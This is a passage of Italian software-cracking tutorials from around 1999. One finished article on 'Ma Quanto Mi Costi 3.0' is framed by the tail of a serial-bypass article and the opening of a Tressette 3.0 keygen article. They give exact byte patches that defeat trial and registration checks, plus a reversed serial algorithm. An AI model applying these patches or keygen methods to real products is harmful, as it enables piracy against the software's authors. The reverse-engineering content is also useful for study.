sub) La sub_45A0F0 convertit il nome in caratteri maiuscoli e quindi sia Antonio che ANTONIO hanno lo stesso numero seriale... 00458197 mov eax, [edi+20h] ; EDI=50003A + 20h ; EAX punta alla seguente ; stringa: ; -314159265 0045819A add esp, 0Ch 0045819D cmp byte ptr [eax], 2Dh ; '-' == '-' 004581A0 jnz loc_458240 ; Se no salta a 458240 004581A6 mov ecx, [esp+34h+arg_8] ; ECX = 0 004581AA mov ebx, [esp+34h+arg_4] ; EBX = Seriale 004581AE push ecx ; 0 004581AF push ebx ; Seriale 004581B0 push esi ; Nome 004581B1 push eax ; -314159265 004581B2 call sub_459DF0 ; VERIFICA IL SERIALE! Bene siamo giunti a questa funzione... la sub_459DF0... questa la dovremmo proprio controllare in quanto da essa viene stabilito se il programma ha un codice seriale esatto o no... quindi premte F8! 00459DF0 sub_459DF0 proc near 00459DF0 var_84 = byte ptr -84h ; Variabili... 00459DF0 var_58 = byte ptr -58h ; 00459DF0 var_2C = byte ptr -2Ch ; 00459DF0 arg_0 = dword ptr 4 ; Codice '-ecc....' 00459DF0 arg_4 = dword ptr 8 ; Nome 00459DF0 arg_8 = dword ptr 0Ch ; Seriale 00459DF0 arg_C = dword ptr 10h ; 0 00459DF0 mov ecx, [esp+arg_4] ; 00459DF4 sub esp, 84h ; 00459DFA lea eax, [esp+84h+var_84] 00459DFE push esi ; Ok... qui evito di 00459DFF push edi ; commentare il tutto 00459E00 push 1 ; in quanto fa ulteriori 00459E02 push eax ; check sul seriale ma ci 00459E03 push ecx ; che a noi interessa e 00459E04 call sub_45A0F0 ; bypassare questa funzione 00459E09 lea edi, [esp+98h+var_84] 00459E0D or ecx, 0FFFFFFFFh ; affinch noi possiamo aver 00459E10 xor eax, eax ; registrato il programma 00459E12 add esp, 0Ch ; con qualsiasi numero.... 00459E15 repne scasb ; 00459E17 not ecx ; 00459E19 dec ecx ; 00459E1A mov eax, 2AAAAAABh ; 00459E1F mov esi, ecx ; 00459E21 imul esi ; 00459E23 mov eax, edx ; 00459E25 shr eax, 1Fh ; 00459E28 lea edi, [edx+eax+1] ; 00459E2C xor edx, edx ; 00459E2E test esi, esi ; 00459E30 jle short loc_459E43 ; 00459E32 xor eax, eax ; ; 00459E34 loc_459E34: ; 00459E34 mov cl, [esp+eax+8Ch+var_84] 00459E38 add eax, edi ; 00459E3A mov [esp+edx+8Ch+var_58], cl 00459E3E inc edx ; 00459E3F cmp eax, esi ; 00459E41 jl short loc_459E34 ; ; 00459E43 loc_459E43: ; 00459E43 mov eax, [esp+8Ch+arg_8] 00459E4A mov ecx, [esp+8Ch+arg_0] 00459E51 mov [esp+edx+8Ch+var_58], 0 00459E56 lea edx, [esp+8Ch+var_2C] 00459E5A push 29h ; ECCO!!! FERMIAMOCI QUI 00459E5C push edx ; IL VALORE RESTITUITO 00459E5D push eax ; DALLA CALL SUCCESSIVA 00459E5E push ecx ; E' IMPORTANTE !! 00459E5F call sub_459EE0 ; 00459E64 mov ecx, [esp+9Ch+arg_C] 00459E6B add esp, 10h ; 00459E6E test ecx, ecx ; Controlla ECX... ma 00459E70 jl short loc_459E81 ; il nostro ECX 0 00459E72 cmp eax, ecx ; ed EAX non uguale a ECX Questo confronto tra eax ed ecx un punto importante... noterete che la mancata esecuzione del salto successivo vi far uscire dal programma in ogni caso... quindi 00459E74 jz short loc_459E81 ; diventar da ora in poi 00459E74 jmp short loc_459E81 00459E81 loc_459E81: 00459E81 push ebx 00459E82 lea esi, [esp+90h+var_2C] 00459E86 lea eax, [esp+90h+var_58] 00459E8A loc_459E8A: 00459E8A mov dl, [eax] 00459E8C mov bl, [esi] 00459E8E mov cl, dl 00459E90 cmp dl, bl Ecco un'altro salto importante... 00459E92 jnz short loc_459EC3 mira dittro al farci fuori dalla funzione.... con risultato negativo sulla registrazione... quindi diventer 00459E92 nop 00459E93 nop Abbiamo passato anche questo ostacolo... proseguiamo ;) 00459E94 test cl, cl 00459E96 jz short loc_459EAE 00459E98 mov dl, [eax+1] 00459E9B mov bl, [esi+1] 00459E9E mov cl, dl 00459EA0 cmp dl, bl Ancora cmp.. ma quando la finisce quello!! 00459EA2 jnz short loc_459EC3 Vediamo un p ... punta alla stessa locazione di prima... ovvero a farci terminare con errore... e cosa facciamo noi ? Spero che lo avete capito lo stesso lavoro di prima 00459EA2 nop 00459EA3 nop 00459EA4 add eax, 2 00459EA7 add esi, 2 00459EAA test cl, cl 00459EAC jnz short loc_459E8A 00459EAE loc_459EAE: 00459EAE xor eax, eax 00459EB0 xor ecx, ecx 00459EB2 test eax, eax 00459EB4 setz cl 00459EB7 pop ebx 00459EB8 pop edi 00459EB9 mov eax, ecx 00459EBB pop esi 00459EBC add esp, 84h 00459EC2 retn Ok siamo qui.... il programma gi registrato (avete premuto G ??) ora per dobbiamo apportare le modifiche in modo permanente nel programma... quindi ecco una tabella riassuntiva dei byte da modificare: Locazione BYTE 00459E74 0EBh 00459E92 090h 00459E93 090h 00459EA2 090h 00459EA3 090h Con soli 5 byte (gli indirizzi si riferiscono usando l'editore HIEW...) abbiamo registrato un programma che costa 80.000 lire.... quanto mi piace questo mestiere!!!! Bene l'articolo finito.... dovrei passare come al solito ai ringraziamenti! Chi ringrazio??? Grossa domanda.... l'altra volta qualcuno s'e' lamentato in quanto ha detto di non nominarlo altrimenti gli rovino la reputazione :( Ok non lo nomino e non ne nomino moooooolti altri in quanto sinceramente sono stati confusi come membri di e-ViP e non lo erano ;) eXceptiON HandlER, Techno Knight, Johnny, LanDLorD, anto1, DeViLNeT, ^WaR^CaT^ .... questi sono i membri di e-ViP.... almeno lo spero.... non so se ne ho saltato qualcuno... ma sinceramente non si capisce pi niente... Felix e Lisa... fratello e sorella... gli opposti... anche se prima si facevano vivi entrambi ora se c'e' n'e' uno non c'e' l'altro.. dibbe76 che mi rifornisce di tanto in tanto di qualche CD... grazie! Artiglio.. anche lui.... Quequero... il dirigente dell'UIC a cui sarei iscritto.... ma purtroppo non posso partecipare in quanto non tengo il tempo e mi rompo a fare tutto quello che quequero dice... crackare questo... seriale di quello.. articolo scritto sul form... quindi mi limito solo a fare i compiti x me :) MI DISPIACE QUEQUERO.... SPERO CHE UN GIORNO POSSA TORNARE A ESSERE UN TUO ALUNNO [alt255] ~Ziofill~ e nobody88 per i complimenti sull'articolo publicato in Newsbies n. 4 Il mio amico Pietro... che di tanto in tanto viene a fare visita a un relitto della societ... una delle poche persone che sanno che sono vivo! Molti la fuori mi pensano morto!! .. o almeno non mi faccio vivo da parecchio tempo!!! Bene.. ora giunta proprio la fine dell'articolo... sono quasi le 13.00 ed ora che vada a magnare.. altrimenti mia madre attacca a rompere... ... se vi state domandando come mai sono qui a quest'ora... diciamo una cosa la scuola per me finitaaaaaaaaaaaaaaaaaaaa!!!!!!!!!!!!!! Vi lascio il mio indirizzo di e-mail.... semmai vi viene in mente di scrivermi fate pure... cod@gurlmail.com ******************************* * * * Ma Quanto Mi Costi 3.0 * * * * by Ritz * * * ******************************* BEST VIEWED WITH M$-d0$ 3D1T0R ****************************************************************************** DESCLAIMER LEGALE: Ascoltatemi bene prima di leggere questo articolo: esso stato scritto a PURO scopo DIDATTICO: io, Ritz, non incoraggio chi volesse servirsene per scopi illegali; inoltre non mi assumo alcuna responsabilit... se vi autodistruggete i progammi. CAPITTOOOO?! ****************************************************************************** Ciao a tutti! Io mi chiamo Ritz (ma vaaa??), e in questo tute cercher di spiegare la sprotezione di un programma che non offre alcuna possibilit di registrazione (o almeno io non l'ho trovata... :-) ). Di conseguenza, l'unica cosa da fare sar forzare il codice in alcuni punti. Dopo aver fatto ci, sar inoltre necessario togliere un fastidioso nag-screen iniziale. Il proggy si trova in varie riviste informatiche o al sito: www.space.tin.it/internet/apizzegh e funge da contascatti per Internet. OK... tutti pronti? S? Perfetto... let's go! Allora, installato il programmillo? Perfetto... avviatelo: cercare ora un men tipo About/Register. Azz, non c', provate ora a guardare l'iconetta del Systray: clic destro, scegliete "Informazioni su MQMC32", vi apparir un menu... okkakkio, nemmeno l si pu mettere il serial... come si fa? Beh, evidentemente il programma uno di quelli che dopo 30 gg. si suicidano e basta. Quindi? Semplice... chiudete l'icona del Systray, portate avanti la data di 4-5 mesi, riavviate il prog... e, eccovi apparire il messaggio che vi dice che non lo potete pi avviare perch il periodo di valutazione scaduto. Male, molto male. Bisogna lavorarci un po' su, che ne dite? Allora, innanzi tutto bisogna far s che il prog. possa essere avviato... proviamo quindi a intercettare la funzione che manda il nag iniziale... CTRL+D per poppare nel Sice, quindi bpx messageboxa. Usciamo con CTRD+D, riavviamo tutto, e... kakkio il debugger non poppa prima della messagebox... perch mai? Se avete notato, quando il messaggio appare il PC fa un "beep", vero? Bene, allora proviamo a cambiare il BPX con un messagebeep: togliete l'iconetta del MQMC dal Tray, entrate nel Sice, scrivete bpx messagebeep, uscite, avviate il MQMC, e, voil.., il vostro debugger preferito fa la sua comparsa!! Usciti dalla funzione con F11, dovreste attraccare qui: :0048A202 PUSH 32 S? Perfetto! Adesso cancellate tutti i bpx del Sice con bc *, aprite il vostro W32dasm, disassemblate il file mqmc32.exe... bzzzzzzzzz....zzzzzz... bzzzzzzzz. Finito!! Ora andate nel menu Search/Find text, scrivete :0048A202, aspettate un po'... e dovreste arrivare a questo punto: * Possible StringData Ref from Code Obj ->"10474" | :0048A1D9 mov edx, 0048A63C :0048A1DE call 00403F04 :0048A1E3 jne 0048A228 <-- Jump importante... servir.. un po' pi avanti. :0048A1E5 mov eax, dword ptr [0049C244] :0048A1EA cmp dword ptr [eax], 00000000 :0048A1ED je 0048A1FB :0048A1EF mov eax, dword ptr [0049C244] :0048A1F4 mov eax, dword ptr [eax] :0048A1F6 call 00430A74 * Jump at Address: |:0048A1ED(C) | :0048A1FB push 00000000 * Reference To: user32.MessageBeep, Ord:0000h | :0048A1FD Call 00406C9C :0048A202 push 00000032 :0048A204 mov cx, word ptr [0048A644] :0048A20B mov dl, 02 * Possible StringData Ref from Code Obj ->"MQMC323.0" | :0048A20D mov eax, 0048A650 :0048A212 call 00444C24 :0048A217 mov eax, dword ptr [0049C28C] :0048A21C mov eax, dword ptr [eax] :0048A21E call 00432A34 :0048A223 jmp 0048A5A7 * Jump at Address: |:0048A1E3(C) | :0048A228 8D4DB0 lea ecx, dword ptr [ebp-50] Allora... analizziamo il codice... in 48A1FD c' la call del nag-screen... osservando ora 48E1ED si vede un JE... Jump if Equal... cambiandolo in JMP si salterebbe la CALL a 41A8F6... implicata probabilmente nel suicidio del programma dopo il suo avvio. Dunque, segnatevi l'OFFSET di 48E1ED: dovrebbe essere 895ED... bene, fatevi una copia di MQMC.exe e lasciatela nella stessa cartella, aprite Hiew, caricate la copia, premete F4, scegliete Decode, poi F5, scrivete l'OFFSET, premete INVIO, quindi F3 per cambiare il byte 75 in EB (jump incondizionale), F9 per aggiornare lo schermo, F10 per uscire. Ora dalla cartella del MQMC caricate la copia (quella taroccata), e vi apparir.. ancora il nag (questo era previsto), ma, se cliccate OK, il prog PARTE!! Lo avete crackaaatooo. Se ci siete riusciti, complimenti, altrimenti rileggetevi tutto daccapo... Ora per c' un piccolo problema teknico: il nag-screen che rompe le palle: uhm... vediamo che se po' fa'. Vedete la call a 48A1FD? Quella sar.. la routine da fottere: infatti, proprio quella che richiama la Message Box. Fateci doppio clic col topo e in mezzo alla barra dei pulsanti del Dasm dovrebbe "accendersi" una scritta: CALL. Cliccateci sopra. (* Cazzo mi si sta inkiodando il Winkaz... 67% risorse disponibili... pork putt meglio riavviare... schiusatemi un attimo... torno subito, il mio Celeron overclokkato tra un po' si fonde... OK ho riavviato... ora mi sento pi tranquillo... ripartiamo*). Avete cliccato sulla CALL? Bene, allora ora vi trovate qui: * Referenced by a CALL at Addresses: |:00455B69 , :00455E97 , :00458189 , :00461087 , :004612F6 |:00461326 , :0046A09B , :0046A100 , :0046ABB4 , :0046AC3D |:0046ACAF , :0046AD10 , :0046AD71 , :0046ADDE , :0046B8A6 |:0046B909 , :0047E62A , :00484B80 , :00484F17 , :0048A1FD |:0048A3AE , :0048A42F , :0048D945 , :00491AA1 , :004922CD |:00492AC6 , :0049328D | * Reference To: user32.MessageBeep, Ord:0000h | :00406C9C Jmp dword ptr [0049F66C] :00406CA2 mov eax, eax In teoria ora bisognerebbe fare un lavoretto, ovverosia (WOW!) spulciare OGNUNO degli indirizzi sopra... fate una prova: andate a :00455E97. Due righe pi in altro vedrete un jne che, se eseguito, SALTA COMPLETAMENTE VIA la call. Ecco quindi che bisognerebbe cambiarlo in JMP. Tornate ora a :00406C9C; capito cosa dovete fare? Andare in OGNUNA dlle CALL sopra, trovare i JUMP che le saltano e cambiarli in JMP incondizionali... il problema che non tutte tali call sono necessarie, anzi, e inoltre alcune, come ad esempio la prima (:00455B69), non hanno jump che le possano evitare nei dintorni... insomma, un casino... ecco perch ho deciso di dirvi io direttamente quali sono quelle su cui agire (vi pensate che lavorazzo ho fatto?!): l'importante che voi capiate il concetto per poi poterlo applicare nelle varie occasioni. Andate in :0048A1FD. Vi troverete nel codice visto all'inizio: ecco a cosa serve il jne a :0048A1E3!!! E' uno di quelli che fottono la CALL!! Infatti se eseguito il proggy salta pi avanti! Ora posteggiate il kulo in :0048A3AE. Sarete qui: * Possible StringData Ref from Code Obj ->"0003" | :0048A321 mov edx, 0048A728 :0048A326 mov eax, dword ptr [ebx+00000220] :0048A32C call 0045FA70 :0048A331 lea edx, dword ptr [ebp-50] :0048A334 lea eax, dword ptr [ebp-40] :0048A337 call 00404C0C :0048A33C mov eax, dword ptr [ebp-40] :0048A33F lea ecx, dword ptr [ebp-3C] :0048A342 mov edx, 00000004 :0048A347 call 00489D84 :0048A34C mov ecx, dword ptr [ebp-3C] :0048A34F lea eax, dword ptr [ebp-38] :0048A352 mov edx, 0048A630 :0048A357 call 00403E40 :0048A35C mov eax, dword ptr [ebp-38] :0048A35F call 00407F84 :0048A364 mov dword ptr [ebp-54], eax :0048A367 fild dword ptr [ebp-54] :0048A36A add esp, FFFFFFF8 :0048A36D fstp qword ptr [esp] :0048A370 wait :0048A371 lea eax, dword ptr [ebp-04] :0048A374 call 00409D38 :0048A379 cmp dword ptr [ebp-04], 00000000 :0048A37D je 0048A3D9 :0048A37F mov eax, dword ptr [ebp-04] :0048A382 call 0040A4B0 :0048A387 fstp qword ptr [ebp-1C] :0048A38A wait :0048A38B fld qword ptr [ebp-0C] :0048A38E fcomp qword ptr [ebp-1C] :0048A391 fstsw ax :0048A393 sahf :0048A394 jnb 0048A3D9 <-- Jump if not below... interessante non vi sembra? :0048A396 mov eax, dword ptr [0049C244] Guardate DOVE salta: DOPO la CALL :0048A39B cmp dword ptr [eax], 00000000 a :0048A3AE!! Bene bene... :0048A39E je 0048A3AC :0048A3A0 mov eax, dword ptr [0049C244] :0048A3A5 mov eax, dword ptr [eax] :0048A3A7 call 00430A74 * Jump at Address: |:0048A39E(C) | :0048A3AC push 00000000 * Reference To: user32.MessageBeep, Ord:0000h | :0048A3AE Call 00406C9C :0048A3B3 push 00000032 :0048A3B5 mov cx, word ptr [0048A644] :0048A3BC mov dl, 02 * Possible StringData Ref from Code Obj ->"MQMC323.0" | :0048A3BE mov eax, 0048A650 :0048A3C3 call 00444C24 :0048A3C8 mov eax, dword ptr [0049C28C] :0048A3CD mov eax, dword ptr [eax] :0048A3CF call 00432A34 :0048A3D4 jmp 0048A5A7 * Jump at Addresses: |:0048A37D(C), :0048A394(C) | :0048A3D9 mov cx, word ptr [ebp-28] :0048A3DD mov dx, word ptr [ebp-26] :0048A3E1 mov ax, word ptr [ebp-24] :0048A3E5 call 00408F88 :0048A3EA fstp qword ptr [ebp-5C] :0048A3ED wait :0048A3EE mov cx, word ptr [ebp-22] :0048A3F2 mov dx, word ptr [ebp-20] :0048A3F6 mov ax, word ptr [ebp-1E] :0048A3FA call 00408F88 :0048A3FF fsubr qword ptr [ebp-5C] :0048A402 call 00402A98 :0048A407 mov word ptr [0049DC04], ax :0048A40D cmp word ptr [0049DC04], 001E :0048A415 jbe 0048A485 :0048A417 mov eax, dword ptr [0049C244] :0048A41C cmp dword ptr [eax], 00000000 :0048A41F je 0048A42D :0048A421 mov eax, dword ptr [0049C244] :0048A426 mov eax, dword ptr [eax] :0048A428 call 00430A74 Infine in :0048A42F. Attraccherete qui: * Jump at Addresses: |:0048A37D(C), :0048A394(C) | :0048A3D9 mov cx, word ptr [ebp-28] :0048A3DD mov dx, word ptr [ebp-26] :0048A3E1 mov ax, word ptr [ebp-24] :0048A3E5 call 00408F88 :0048A3EA fstp qword ptr [ebp-5C] :0048A3ED wait :0048A3EE mov cx, word ptr [ebp-22] :0048A3F2 mov dx, word ptr [ebp-20] :0048A3F6 mov ax, word ptr [ebp-1E] :0048A3FA call 00408F88 :0048A3FF fsubr qword ptr [ebp-5C] :0048A402 call 00402A98 :0048A407 mov word ptr [0049DC04], ax :0048A40D cmp word ptr [0049DC04], 001E :0048A415 jbe 0048A485 <-- Jump if below or equal... WOW un altro che salta :0048A417 mov eax, dword ptr [0049C244] DOPO la CALL!! :0048A41C cmp dword ptr [eax], 00000000 :0048A41F je 0048A42D :0048A421 mov eax, dword ptr [0049C244] :0048A426 mov eax, dword ptr [eax] :0048A428 call 00430A74 * Jump at Address: |:0048A41F(C) | :0048A42D 6A00 push 00000000 * Reference To: user32.MessageBeep, Ord:0000h | :0048A42F Call 00406C9C :0048A434 lea ecx, dword ptr [ebp-38] :0048A437 mov edx, 00000006 :0048A43C mov eax, 000028EA :0048A441 call 00489F6C :0048A446 mov edx, dword ptr [ebp-38] :0048A449 lea eax, dword ptr [ebp-50] :0048A44C call 00404C60 :0048A451 lea ecx, dword ptr [ebp-50] * Possible StringData Ref from Code Obj ->"0001" | :0048A454 mov edx, 0048A620 :0048A459 mov eax, dword ptr [ebx+00000220] :0048A45F call 0045F848 :0048A464 push 00000032 :0048A466 mov cx, word ptr [0048A644] :0048A46D mov dl, 02 * Possible StringData Ref from Code Obj ->"MQMC323.0" | :0048A46F mov eax, 0048A650 :0048A474 call 00444C24 :0048A479 mov eax, dword ptr [0049C28C] :0048A47E mov eax, dword ptr [eax] :0048A480 call 00432A34 * Jump at Addresses: |:0048A281(U), :0048A415(C) | :0048A485 call 00409148 :0048A48A call 00402A98 :0048A48F lea ecx, dword ptr [ebp-38] :0048A492 mov edx, 00000004 :0048A497 call 00489F6C :0048A49C mov edx, dword ptr [ebp-38] :0048A49F lea eax, dword ptr [ebp-50] :0048A4A2 call 00404C60 :0048A4A7 lea ecx, dword ptr [ebp-50] OK perfetto... lavoro praticamente finito... per eliminare il nag basta cambiare i 3 JUMP indicati sopra in JMP incondizionali. Come fare ve l'ho gi.. spiegato sopra... e infine rinominare prima il file MQMC.exe come cazzo volete, poi la sua copia in MQMC32.exe. Tutto chiaro? Bene: PROGRAMMA CRACKATO. RIASSUMENDO INDIRIZZI HA CAMBIARE: Per il programma: 48A1ED (OFFSET 895ED da je a jmp). Per il nag-screen: 48A1E3 (OFFSET 895E3 da jne a jmp), 48A394 (OFFSET 89794 da jnb a jmp), 48A415 (OFFSET 89815 da jbe a jmp). OK ho finito... uff che fatica... non pensavo che scrivere un tute fosse cos lungo... Bene, spero che esso vi sia stato utile, io da parte mia ho cercato di scriverlo nel migliore dei modi, cio semplice e comprensibile a tutti. Se vi piace, non vi piace, volete insultarmi, chiedermi qualcosa, ecc.... basta che mandiate un'e-mail all'indirizzo sotto. Vorrei ora ringraziare po' di persone..... ometto di dilungarmi troppo sulle rispettive motivazioni, altrimenti questa parte viene pi lunga dell'Essay... Ringrazio e saluto: Quequero innanzi tutto per aver publicato il mio tute sull'UIC, per l'impegno che sta dimostrando con l'UIC stessa e perch mi risponde a tutte le domande che gli faccio: ciao QUEEEE!!, [aLT255], ^courier, mOoNsHaDoW e WhiteFly, sempre molto disponibili su IRC, tutti i compagni dell'UIC e spec. BlackDruiD ( quello che vedo di pi e a cui scasso di + le palle ;) ), xOANINO (il mito), tutti i Ringzer0 (perch sono GRANDIII), quindi sPEzio, +MaLa, Furb3t, etc... in generale tutto il chan di #crack-it, tutti gli Attila_Hack members, in particolare BoBo, e naturalmente NobodY88 e tutto il Newbies staff: grazie per la presente pubblicazione ;) e per le chiacchierate su IRC: ciao nobooooooo!!!! Saluto anche DFX, great friend nonch compagno di scuola, il Morando (altro amico) e coloro che sono arrivari a leggere fino in fonto questo tute... GRAZIEEEEE!!!! E mi raccomando: citando una frase di...azz chi era... boh... non so, spero che costui mi perdoner per il copyright violato... ricordate: "A day without learning is a lost day..." Impariamo, gente, impariamo. E mi raccomando: in bocca all'ASM!! SeE YoU sOoN, **************************************************** * * * Ritz * * Eclyps3@excite.com * * - The way is made clear when viewed from above - * * On ICQ: 41793377 * * On IRC: Ritz * * * **************************************************** ͻ Ŀ TRESSETTE 3.0 CRACKING ٺ ͼ Autore: cod/e-ViP Oggetto: Tressette 3.0 Data: 12 Ottobre 1999 Eccomi qui di nuovo a crackare qualche cosa... stavolta scegliamo un prodotto di casa nostra... che tuttavia non costa chiss quali cifre... 19.900 lire ci vengono richieste infatti per la registrazione. Il software scaricabile dal seguente indirizzo internet: http://www.geocities.com/Colosseum/Dome/4981 Questo il sito dell'autore, un certo: Baldi Maurizio via Berlino, n. 2 58022 Follonica (GR) Scaricata questa piccolo programmino (circa 943.000 byte) ne effettuiamo l'installazione. Non credo che vada ad occupare pi di 3mb sul nostro disco. A cosa serve questo software ? Praticamente a nulla!!! Ma se vi piace il gioco delle carte e sapete giocare al TRESSETTE credo che questo sia uno dei tanti giochini disponibili sulla rete. Bene, installato il programma lo eseguiamo, e subito l'occhio va su quella maledetta frase presente sul titolo della finestra... Potrete ancora giocare 30 partite! Come ancora ? Ma se non ne ho finita manco una!!! Sinceramente giocare a carte non la mia passione (per il discorso cambia durante le feste natalizie quando si incomincia a sentire l'odore dei soldi ;) ). Cosa fare ? Bene andiamo sull'ultima finestra del menu e clickiamo. Notiamo che tra le voci presenti ce ne sta una che dice 'Registrazione' ... interessante. Clicko e compare una finestra.. Nome e codice.. tipico di tutti questi programmi... ok ci metto il mio nome "cod" e il numero di registrazione preferito... in questo momento non me ne vengono in mente di speciale e quindi ci metto un numero a caso "666" e clicko su ok !! Che mi compare ? Spiacente, il codice non esatto... minchia non avevo visto programmatori cos gentili, che ti indicano che hai sbagliato combinazione nome/seriale. Cosa fare ? Bel dubbio... 1. Crackarlo 2. Prenderci il seriale 3. Fare un keymaker Ok, allora scartiamo la prima ipotesi perch altrimenti dovremmo eseguire passo passo il programma alla ricerca delle zone in cui verifica durante il caricamento se siamo utenti registrati... prenderci il seriale, si ottima idea, ma chi non ha dimestichezza col SoftICE e soprattutto con l'assembly ? Quindi cosa ci resta ? La 3. ipotesi! Strumenti utilizzati: SoftICE 4.0 - Io uso questo! Voi prendete quello che vi pare... fatti vostri IDA 3.8xx - Non ricordo quale versione sto utilizzando, se la 3.8A o se una superiore alla 3.8A, bah non importa cos tanto! Uno schieramento di strumenti abbastanza robusti... chiss cosa ci aspetta! E soprattutto... in cosa scritto il programma ? Fosse VB.. mi sparo!! Per nostra fortuna stato scritto nel migliore dei linguaggi di programmazione e usando il compilatore pi gettonato! Il Visual C++, per l'autore a quanto pare, un fanatico di Microsoft, addirittura ricorso all'uso delle Microsoft Foundation Class... quindi qualcosa lo differisce da me... infatti io la prima cosa quando installo MSVC++ le MFC le rimuovo per prime! Tanto non le user mai!!! Ora pensiamo a quanto segue.. le MFC sono generiche... ovvero Microsoft ogni volta che crea una nuova versione al limite si ammazza di lavoro ad aggiornarle, a correggere qualche piccolo bug, ma le funzioni usate saranno quelle generiche!!! Con SoftICE caricato lanciamo il programmino e andiamo su Registrazione... nome quellochevipare numero metteteci_pure_quello_della_vostra_scuola Ora CTRL+D, settiamo un bel breakpoint sulle seguenti funzioni: GetWindowTextA GetDlgItemTextA GetDlgItem CTRL+D e ritorniamo a windows, premiamo il fatidico OK e il gioco sta per incominciare!!! SoftICE ci avverte che in esecuzione la funzione GetWindowTextA... siamo all'interno del codice delle MFC, quindi premiamo F12, usciamo da GetWindowTextA, rimuoviamo tutti i breakpoint e premiamo F10 finch non entriamo nel codice del Tressette... qui si lavora!!!! Allora ecco dove vi troverete esattamente!!! 00404067 call j_?GetWindowTextA@CWnd@@QBEHPADH@Z Ecco qui... siamo appena usciti dalla CALL delle MFC GetWindowTextA... Vediamo un p, nel programma abbiamo inserito due numeri, quindi presumo che un'altra CALL a GetWindowTextA si trover nelle vicinanze! 0040406C push 100h 00404071 lea eax, [ebp+var_310] 00404077 push eax 00404078 mov ecx, [esi+64h] 0040407B call j_?GetWindowTextA@CWnd@@QBEHPADH@Z Ecco manco il tempo di respirare che il programma legge la nostra bella password! Allora la elaborer pi avanti.... quindi attenti a cosa facciamo! 00404080 mov ecx, 0FFFFFFFFh 00404085 sub eax, eax 00404087 repne scasb 00404089 not ecx 0040408B dec ecx 0040408C cmp ecx, 6 0040408F jb loc_4041E7 Allora vediamo un p di capire questo codice riportato in alto... qualcuno di voi se ha un p di esperienza con l'assembler o con un debugger avr visto questo frammento, ma cosa fa ? E' una forma assai strana per un compilatore, ma forse si tratta di una ottimizzazione del codice in velocit. Il fatto sta che questo frammento di codice si trova ovunque nei programmi ad alto livello quando si tratta di trovare un carattere o la fine di una stringa! Infatti i registri DS:ESI puntano ad una stringa, ECX conterr il valore -1, e repne scasb per chi avesse la fortuna di avere un manuale sulle istruzioni del processore prodotto da INTEL trover che questa forma stupida di istruzione esegue la scansione per n volte quanto specificato in ECX (-1 o anche 2^32-1, ovvero circa 4*1024*1024*1024 di volte) finch non viene trovato il valore contenuto nel registro EAX, AX, o AL a seconda se si tratta di scasd, scasw o scasb. Successivamente viene invertito il valore di ECX, e decrementato di 1 ed avremmo la lunghezza della stringa escluso lo 0 che costituisce la fine della stringa! Subito dopo incontriamo un cmp ecx, 6 e un jump if below... ovvero se inseriamo una stringa con meno di 6 caratteri il programma salta! Se facciamo caso all'help on line l'autore ci speficica che vuole nome e cognome di chi si vuole registrare ed un Username ed in mancanza di tale assumer come Username la combinazione cognome/nome o nome/cognome! Ora io mi chiamo cod, ma porca eva! KAZZO un'altro programma in cui non mi posso registrare col mio nome!!! Ok, allora sono costretto ad usare il mio vero nome, Antonio e quindi risetto i break point, e continuo, metto Antonio e mi riporto all'istruzione cmp ecx, 6 Questa volta nessun problema e ci ritroviamo nelle istruzioni sotto! 00404095 lea eax, [ebp+var_110] 0040409B mov ecx, dword_4147C8 004040A1 push eax 004040A2 add ecx, 0FCh 004040A8 call sub_401020 La prima CALL importante, non riporto il codice disassemblato di questa call altrimenti non mi sbrigo mai a finire tale articolo, a spiegarvi come ragiona il programma e soprattutto a consegnarlo a N0BODY88! L'ho promesso ieri sera e cerco in parte di mantenere le promesse! Brevemente vi spiego cosa fa tale CALL... allora apparte tutte quelle superflue istruzioni che esegue sostanzialmente la CALL si riduce al seguente check! Controlla tutti i caratteri inseriti nell'Username, controlla che siano compresi tra 'A' e 'Z' o 'a' e 'z', in caso vi siano altri caratteri verifica che si tratti di uno spazio altrimenti ci piazza il ben servito! Non provate a registrare il programma con Username 666666 altrimenti nisba! Gli unici caratteri tollerati dal programmatore al di fuori delle lettere dell'alfabeto sono gli spazi. Successivo controllo: Legge ogni carattere della Username e lo converte nel corrispondente carattere maiuscolo, sostituendo gli spazi con delle 'X', inteligente questo programmatore, assai inteligente, non me lo sarei aspettato! Alla fine praticamente il mio nome Antonio sar converito nel seguente modo: ANTONIOX Ora perch quella X finale ? Avr messo qualche X finale ? No, me ne sono accorto in un secondo momento quando ho usato il nome che }^CoBrA^{ mi ha fornito, il nome da lui datomi era composto da un numero pari di caratteri, quindi ho ricontrollato ed era tutto come mi aspettavo! Con codice assurdo, shift per eseguire delle moltiplicazioni, il programmatore si era ridotto a codificare in modo assurdo una cosetta del genere: for (i=0; username[i]!= 0x00; i++) Ovvero controllare la lunghezza della Username e nel caso questa fosse dispari piazzarci una bella X finale per poter avere una stringa pari! Successivamente eseguito questo compito assai inteligente (non dimentichiamo che codesto programmatore un tipo inteligente) la Username viene elaborata con la seguente e complessa formula matematica!!! Prendiamo il byte x della stringa dove x va da 0 a fine stringa. Sottriamo il valore 64 ('@') e la differenza la memorizziamo in un array di long o int32 (ovvero in un array di 4 byte x numero.. che spreco!) Ora perch questo 64 ? Semplice, perch il 65 la 'A' ... basta fare ALT+65 e ALT+64!!! Ulteriore controllo, l'array di valori ottenuto viene scopiazzato in un'altro array ma non all'inizio ma bens pi avanti.... chiss perch ? Forse aveva in mente qualcosa di speciale! boooo io mi limito a commentare... sar! 004040AD mov ecx, dword_4147C8 004040B3 add ecx, 0FCh 004040B9 call sub_401190 Ecco qui!!!! In questa call viene generata la password partendo dal nostro Username... non proprio ma dall'array di long o int32 che viene preparato nella call precedente! L'algoritmo che viene usato il seguente: Array' contiene i long della nostra username! Array'' contiene all'inizio i seguenti valori: 00000008 ; Array''+0 0000000D ; Array''+1 FFFFFFFB ; Array''+2 FFFFFFF8 ; Array''+3 00000010 ; Array''+4 00000017 ; Array''+5 Codeste bestie di numeri sono espressi sottoforma di valore esadecimale e la 3 e 4 bestia non altro che un numero negativo! Ricordatevi quanto segue: i numeri negativi vengono contrassegnati dai compilatori e dalla CPU con il bit pi alto (in tal caso il 31 bit) settato, e i restanti bit esprimono il valore negativo! Ora non so perch tutta questa serie di numeri.. infatti ne usa ben pochi! Ora come viene elaborata la password ? Viene prelevato da Array' due numeri alla volta, e il tutto viene fatto in questo modo: Val1 = [Array''+1]*[Array'+1] Ovvero il secondo valore di Array'' viene moltiplicato per il secondo valore importato da Array' Val2 = [Array'']*[Array'] Primo valore di Array'' viene moltiplicato per il primo di Array' Val3 = Val1+Val2 Ora Val3 